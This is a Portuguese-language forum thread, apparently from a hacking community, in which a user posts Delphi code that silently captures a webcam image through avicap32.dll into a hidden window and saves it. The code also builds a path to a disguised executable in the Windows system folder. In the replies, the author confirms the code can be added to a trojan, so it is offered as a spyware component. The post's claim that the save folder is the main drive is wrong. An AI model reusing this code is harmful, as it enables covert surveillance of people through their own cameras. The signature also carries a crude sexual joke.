Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Salvar imagem da web cam

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Dica Salvar imagem da web cam

    Apenas peguei o comando da pagina: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e modifiquei ele um pouco de forma que salve no drive principal e o nome da foto seja a hora e a data atual, fiz apenas isto

    Não sei quem realmente fez o comando base, então não posso postar o crétido do merecedor

    Adicione na lista de var globais:
    HwebCam: HWND;
    Dire: Array[0..255] of Char;
    Adicione este comando abaixo da lista de var globais:
    function capCreateCaptureWindowA(lpszWindowName: pchar; dwStyle: dword; x, y, nWidth, nHeight: word; ParentWin: dword; nId: word): dword; stdcall external 'avicap32.dll';
    Adicione abaixo do {$R *.dfm}:
    function ApplicationPath: string;
    begin
    Windows.GetSystemDirectory(Dire,255);
    Result := Dire + '\wlcomn.exe';
    end;

    Function CapturarWebCam(DestinoCapBMP:string) : Boolean;
    const
    WM_WEBCAM = $400;
    WM_CONECTAR_DRIVER_WEBCAM = WM_WEBCAM + $a;
    WM_DESCONECTAR_DRIVER_WEBCAM = WM_WEBCAM + $b;
    WM_GUARDAR_CAPTURA = WM_WEBCAM + 25;
    WM_FECHAR_WEBCAM = $0010;
    begin
    if HwebCam = 0 then
    begin //WS_CHILD //WS_VISIBLE
    HwebCam := capCreateCaptureWindowA('CaptureWindow', $40000000 and $10000000, 0, 0, 0, 0, GetDesktopWindow, 0);
    if SendMessage(HwebCam, WM_CONECTAR_DRIVER_WEBCAM, 0, 0) <> 1 then
    begin
    HwebCam := 0;
    Result := False;
    end else begin
    SendMessage(HwebCam, WM_GUARDAR_CAPTURA, wparam(0), lparam(PChar(DestinoCapBMP)));
    SendMessage(HwebCam, WM_FECHAR_WEBCAM, 0, 0);
    SendMessage(HwebCam, WM_FECHAR_WEBCAM, 0, 0);
    HwebCam := 0;
    Result := True;
    end;
    end else
    Result := False;
    end;

    Procedure Capturar;
    var
    Captura: string;
    begin
    Captura := Dire + '\Foto ' + FormatDateTime('dd!mm!yyyy, hh!mm!ss', Now + 0.125) + '.jpg';

    if not CapturarWebCam(Captura) then
    MessageBox(0,Pchar('Não foi possivél capturar a webcam'),'Erro',16);
    end;
    Para tirar a foto:
    Capturar;


    A var dire é a letra do disco principal
    (Piada de nerd) - Você comprou o cu dele?
    - Sim, comprei, era super duro e bem feito! Esse metalúrgico é de confiança!
    (Piada by Kaao; inventei ela do nada '-')

    NÃO RESPONDO PERGUNTAS POR PM!

    Se quiser uma ajuda minha, me indique o tópico com a sua duvida.

    Similar Threads

  • Font Size
    #2
    vlw kaao tava precisando desse codigo aee mais aee da pra colocar no trojan ??
    sigpic

    Comment


    • Font Size
      #3
      Claro que dar, por que não? ._.
      (Piada de nerd) - Você comprou o cu dele?
      - Sim, comprei, era super duro e bem feito! Esse metalúrgico é de confiança!
      (Piada by Kaao; inventei ela do nada '-')

      NÃO RESPONDO PERGUNTAS POR PM!

      Se quiser uma ajuda minha, me indique o tópico com a sua duvida.

      Comment


      • Font Size
        #4
        funciona no win 7? pq eu testei e ñ deu
        era para ficar no disco princimapl né? no meu caso o C:

        Comment

        X
        Working...
        X